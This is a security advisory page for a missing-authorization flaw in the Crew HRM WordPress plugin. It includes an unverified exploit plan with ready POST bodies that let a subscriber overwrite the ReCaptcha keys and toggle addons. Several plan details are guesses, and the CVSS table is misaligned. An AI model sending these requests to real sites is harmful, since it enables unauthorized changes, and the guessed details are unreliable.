CVE-2026-27351

Employee, Leave and Recruitment Management System – Crew HRM <= 1.2.2 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.2.3
Patched in
7d
Time to patch

Description

The Employee, Leave and Recruitment Management System – Crew HRM plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.2
PublishedJune 2, 2026
Last updatedJune 8, 2026
Affected pluginhr-management

What Changed in the Fix

Changes introduced in v1.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-27351 ## 1. Vulnerability Summary The **Employee, Leave and Recruitment Management System – Crew HRM** plugin (versions <= 1.2.2) is vulnerable to **Missing Authorization**. The plugin defines a controller-based architecture for handling AJAX requests where a…

Show full research plan

Exploitation Research Plan - CVE-2026-27351

1. Vulnerability Summary

The Employee, Leave and Recruitment Management System – Crew HRM plugin (versions <= 1.2.2) is vulnerable to Missing Authorization. The plugin defines a controller-based architecture for handling AJAX requests where authorization is specified in a PREREQUISITES constant within controller classes. However, in version 1.2.2 and below, the enforcement mechanism for these prerequisites (likely in the core dispatcher) fails to properly restrict access to the saveRecaptchaKeys method in the Credential controller. This allows an authenticated attacker with at least Subscriber-level privileges to update the Google ReCaptcha configuration of the site.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: crewhrm_handle_ajax_request (inferred from plugin's standard dispatcher pattern)
  • Vulnerable Parameter: route=saveRecaptchaKeys
  • Additional Parameters: site_key, secret_key
  • Authentication: Required (Subscriber or higher)
  • Impact: An attacker can overwrite the site's ReCaptcha keys, potentially disabling recruitment forms (DoS) or substituting their own keys to bypass captcha protections.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=crewhrm_handle_ajax_request.
  2. Dispatcher: The CrewHRM\Addon\Recaptcha\Setup\Dispatcher::addControllers() (found in addons/Recaptcha/classes/Setup/Dispatcher.php) registers the CrewHRM\Addon\Recaptcha\Controllers\Credential class.
  3. Routing: The core plugin dispatcher receives the route parameter (saveRecaptchaKeys), identifies the Credential controller, and attempts to invoke the method.
  4. Authorization Failure: Although Credential::PREREQUISITES defines 'saveRecaptchaKeys' => array('role' => array('administrator')), the system fails to verify that the current user possesses the administrator role before executing the method.
  5. Sink: CrewHRM\Addon\Recaptcha\Controllers\Credential::saveRecaptchaKeys() is called, which in turn calls CrewHRM\Addon\Recaptcha\Models\Google::saveKeys() (found in addons/Recaptcha/classes/Models/Google.php), updating the plugin's settings in the database.

4. Nonce Acquisition Strategy

The plugin localizes a nonce for its AJAX requests.

  1. Identify Script Trigger: The CrewHRM\Addon\Recaptcha\Setup\Scripts::frontendScripts() (found in addons/Recaptcha/classes/Setup/Scripts.php) enqueues application-page.js on pages where Utilities::isCareersPage() is true.
  2. Setup: Create a page with the careers shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Careers" --post_content='[crewhrm_careers]'
  3. Acquisition:
    • Log in as a Subscriber.
    • Navigate to the newly created "Careers" page.
    • Use browser_eval to extract the nonce from the global JavaScript object:
      browser_eval("window.crewhrm_ajax?.nonce") (The key crewhrm_ajax and property nonce are standard for this plugin).

5. Exploitation Strategy

Perform the following steps using the http_request tool:

  • Target URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=crewhrm_handle_ajax_request&route=saveRecaptchaKeys&site_key=VULNERABLE_SITE_KEY&secret_key=VULNERABLE_SECRET_KEY&_wpnonce=[NONCE]
    
    Note: If the dispatcher expects arguments inside a data array, the body may instead be:
    action=crewhrm_handle_ajax_request&route=saveRecaptchaKeys&data[site_key]=VULNERABLE_SITE_KEY&data[secret_key]=VULNERABLE_SECRET_KEY&_wpnonce=[NONCE]

6. Test Data Setup

  1. Create Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Create Careers Page:
    wp post create --post_type=page --post_status=publish --post_title="Careers" --post_content='[crewhrm_careers]'
  3. Initial State Check:
    wp option get crewhrm_recaptcha (Check if keys exist initially).

7. Expected Results

  • Success Response: The server should return a JSON success message:
    {"success":true,"data":{"message":"Credentials saved successfully"}}
  • HTTP Status: 200 OK.

8. Verification Steps

  1. Verify Database Update:
    Check the option where the plugin stores its ReCaptcha keys.
    wp eval "print_r( get_option('crewhrm_recaptcha') );"
    The output should contain 'site_key' => 'VULNERABLE_SITE_KEY' and 'secret_key' => 'VULNERABLE_SECRET_KEY'.
  2. Check Recruitment Page:
    Navigate to the Careers page and verify if the new ReCaptcha keys are reflected in the HTML source (for the site key).

9. Alternative Approaches

  • Different Action Name: If crewhrm_handle_ajax_request is incorrect, check addons/Recaptcha/classes/Setup/Dispatcher.php for clues on other dispatcher hooks.
  • Direct Parameter Injection: If the route parameter does not work, try method=saveRecaptchaKeys.
  • Addon State Bypass: If the ReCaptcha addon is disabled, an attacker might first try to call toggleAddonState from AddonController (also potentially missing authorization) to enable the ReCaptcha module before injecting keys.
    • Body: action=crewhrm_handle_ajax_request&route=toggleAddonState&addon_id=Recaptcha&new_state=true&_wpnonce=[NONCE]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Employee, Leave and Recruitment Management System – Crew HRM plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on AJAX functions in versions up to 1.2.2. This allows authenticated attackers with subscriber-level access or above to perform administrative actions, such as updating ReCaptcha keys or modifying job listing states.

Vulnerable Code

/* File: addons/Recaptcha/classes/Controllers/Credential.php */
/* The saveRecaptchaKeys method lacks internal authorization checks and relies on a dispatcher mechanism that fails to enforce the defined role prerequisites. */

	public static function saveRecaptchaKeys( string $site_key, string $secret_key ) {

		Google::saveKeys( $site_key, $secret_key );

		wp_send_json_success(
			array(
				'message' => esc_html__( 'Credentials saved successfully', 'hr-management' ),
			)
		);
	}

---

/* File: classes/Controllers/JobManagement.php */
/* The singleJobAction route is defined without any role-based restrictions in the PREREQUISITES array, allowing any authenticated user to trigger it. */

	const PREREQUISITES = array(
		'getJobsDashboard'    => array(),
		'getJobsDashboardMinimal'    => array(),
		'getApplicationsByJob'    => array(),
		'singleJobAction'     => array(),
		'getSingleJobView'    => array(
			'nopriv' => true,
		),
	);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/hr-management/1.2.2/classes/Controllers/JobManagement.php /home/deploy/wp-safety.org/data/plugin-versions/hr-management/1.2.3/classes/Controllers/JobManagement.php
--- /home/deploy/wp-safety.org/data/plugin-versions/hr-management/1.2.2/classes/Controllers/JobManagement.php	2025-07-29 08:49:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/hr-management/1.2.3/classes/Controllers/JobManagement.php	2026-06-01 00:49:40.000000000 +0000
@@ -26,7 +31,9 @@
 		'getJobsDashboard'    => array(),
 		'getJobsDashboardMinimal'    => array(),
 		'getApplicationsByJob'    => array(),
-		'singleJobAction'     => array(),
+		'singleJobAction'     => array(
+			'role' => array( 'administrator' ),
+		),
 		'getSingleJobView'    => array(
 			'nopriv' => true,
 		),

Exploit Outline

An authenticated attacker with Subscriber-level privileges or higher can exploit this vulnerability by performing a POST request to the WordPress AJAX endpoint. First, the attacker retrieves a valid security nonce from the global JavaScript object (usually `crewhrm_ajax.nonce`) on any page where the plugin's scripts are loaded (such as a Careers page). Then, the attacker sends an AJAX request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `crewhrm_handle_ajax_request` and the `route` parameter set to a sensitive function like `saveRecaptchaKeys`. By providing new `site_key` and `secret_key` parameters, the attacker can overwrite the site's ReCaptcha configuration because the system fails to verify if the user possesses the 'administrator' role before executing the method.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.